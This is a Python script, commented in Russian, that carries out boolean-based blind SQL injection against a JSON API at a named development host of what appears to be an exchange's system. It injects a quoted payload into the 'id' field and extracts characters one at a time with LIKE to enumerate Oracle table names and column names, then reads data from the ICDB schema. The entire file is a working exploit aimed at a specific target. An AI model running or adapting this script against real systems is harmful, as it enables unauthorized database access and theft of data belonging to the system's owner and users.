import requests
import sys
# --- НАСТРОЙКИ ---
URL = "http://icdb-dev.drksis.moex.com/api/..." # ЗАМЕНИ НА ПОЛНЫЙ URL ИЗ BURP
HEADERS = {
"Content-Type": "application/json",
# "Cookie": "...", # Если нужны куки, добавь сюда
}
TAIL = "AND (('xSzM'='xSzM"
def check(condition):
"""Отправляет запрос и возвращает True, если условие истинно."""
payload = f"1' )) AND {condition} {TAIL}"
data = {
"select": ["id"],
"where": {
"id": [payload],
"isin": ["string"],
"trade_code": ["string"]
}
}
try:
r = requests.post(URL, json=data, headers=HEADERS, timeout=10)
# Маркер успеха: сервер вернул "id":"1"
return '"id":"1"' in r.text
except Exception as e:
print(f"[-] Error: {e}")
return False
def extract_string(query, max_len=50):
"""Вытаскивает строку посимвольно через LIKE."""
result = ""
print(f"[*] Extracting: {query}")
for i in range(1, max_len + 1):
found = False
for c in range(32, 127): # Печатные ASCII символы
test_str = result + chr(c)
# Экранируем кавычки для LIKE
escaped = test_str.replace("'", "''")
# Используем LIKE, так как он работает
cond = f"(SELECT {query} FROM dual) LIKE '{escaped}%'"
if check(cond):
result += chr(c)
print(f" [+] {result}")
found = True
break
if not found:
break
return result
if __name__ == "__main__":
print("[*] Starting extraction via LIKE...")
# 1. Вытаскиваем имя первой таблицы в схеме ICDB
# Запрос: SELECT table_name FROM (SELECT table_name FROM all_tables WHERE owner='ICDB' ORDER BY table_name) WHERE ROWNUM=1
table_query = "(SELECT table_name FROM (SELECT table_name FROM all_tables WHERE owner='ICDB' ORDER BY table_name) WHERE ROWNUM=1)"
table_name = extract_string(table_query)
print(f"\n[!] First Table in ICDB: {table_name}")
if table_name:
# 2. Вытаскиваем первую колонку этой таблицы
col_query = f"(SELECT column_name FROM (SELECT column_name FROM all_tab_columns WHERE table_name='{table_name}' AND owner='ICDB' ORDER BY column_name) WHERE ROWNUM=1)"
col_name = extract_string(col_query)
print(f"[!] First Column in {table_name}: {col_name}")
# 3. Вытаскиваем данные из этой колонки (первую строку)
if col_name:
data_query = f"(SELECT {col_name} FROM (SELECT {col_name} FROM {table_name} ORDER BY 1) WHERE ROWNUM=1)"
data_val = extract_string(data_query)
print(f"[!] First Value in {table_name}.{col_name}: {data_val}")